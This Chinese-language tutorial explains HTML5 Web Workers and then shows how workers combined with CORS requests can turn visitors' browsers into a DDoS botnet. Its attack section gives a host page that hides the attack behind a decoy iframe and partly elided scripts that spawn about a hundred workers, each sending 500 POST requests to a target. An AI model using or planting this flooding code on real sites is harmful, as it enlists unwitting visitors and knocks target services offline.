Web workers是HTML5标准提出的特性。目前各大浏览器的最新版本都已支持此功能。
Web workers的作用
Javascript语言是一个单线程的语言,所有任务都只能在一个线程上完成,一次只能做一件事。前面的任务没做完,后面的任务只能等着,这就造成了阻塞。Web workers可以解决这个问题。
Web worker可以为JS创建多线程环境,将一些任务分配给web worker运行。
在不影响主线程运行的同时,worker线程在后台运行,二者互不干扰。
可以将一些计算密集型或者高延迟的任务,交给web worker线程分担,从而缓解了主线程(UI交互)的阻塞和延迟。
Worker 线程一旦新建成功,就会始终运行,不会被主线程上的活动(比如用户点击按钮、提交表单)打断。这样有利于随时响应主线程的通信。但是,这也造成了 Worker 比较耗费资源,不应该过度使用,而且一旦使用完毕,就应该关闭。
创建Worker线程
var worker = new Worker('work.js');
只要在主页面加上一句new Worker(‘work.js’),那么work.js就会另外开辟一个心的线程在主页的后台运行,主线程和新线程之间数据交换的接口使用postMessage()和onMessage()进行通信。
Web Worker功能很强大,但无法访问DOM API。
Web Worker不会导致浏览器UI停止响应,短暂的Worker操作不会让用户察觉,但如果是长时间大量的worker运算操作,则会消耗CPU周期,使系统变慢,用户可能会看到CPU始终保持在高位。
Web worker+CORS
后台运行web worker加上跨域请求CORS,可以实现网络僵尸Botnet攻击。
每个僵尸节点浏览器请求的页面代码:
<style>
#page { width: 100%;height:100%}
body {margin:0}
</style>
<script type="text/javascript">
var target='http://www.target.com';
var work_loc='worker.js'
</script>
<script type="text/javascript" src="run_worker.js">
</script>
</head>
<body>
<iframe id="page" name="page" src="http://www.example.com" frameborder="0" noresize="noresize" style="overflow:visible"></iframe>
</body>
run_worker.js代码控制运行的worker数量,关键代码如下:
var worker_loc='worker.js';
var workers = new Array();
var i=0;
var noWorker = typeof Worker == "undefined" ? true : false;
if(!noWorker){
try {
for(i=0;i<=100;i++){
workers[i]=new Worker(worker_loc);
workers[i].postMessage(target);
}
} catch (e) {
//comment out in release
e=e+""
alert(e);
if(e.indexOf("Worker is not enabled")!= -1) {
noWorker = true
}
}
}
worker.js代码:后台发送大量的跨域POST请求(CORS):
// ...
function makeRequest () {
//make a new URL and request it via POST
var fullUrl=makeUrl();
var httpRequest= new XMLHttpRequest();
httpRequest.open("POST", fullUrl, true);
httpRequest.setRequestHeader("Content-Type", "text/plain; charset=uft-8");
httpRequest.onreadystatechange=infoReceived;
httpRequest.onerror=err;
httpRequest.send(post_data);
}
function dos(){
var i=0;
for(i=0;i<500;i++){
makeRequest();
}
}
self.onmessage=function(e){
base = e.data;
dos();
}
//...
通过这样一个事例模型,每个僵尸节点的浏览器将会高效地发送大量请求,如果能控制成千上万个僵尸节点,那么这样的DDos攻击威力就比较大了。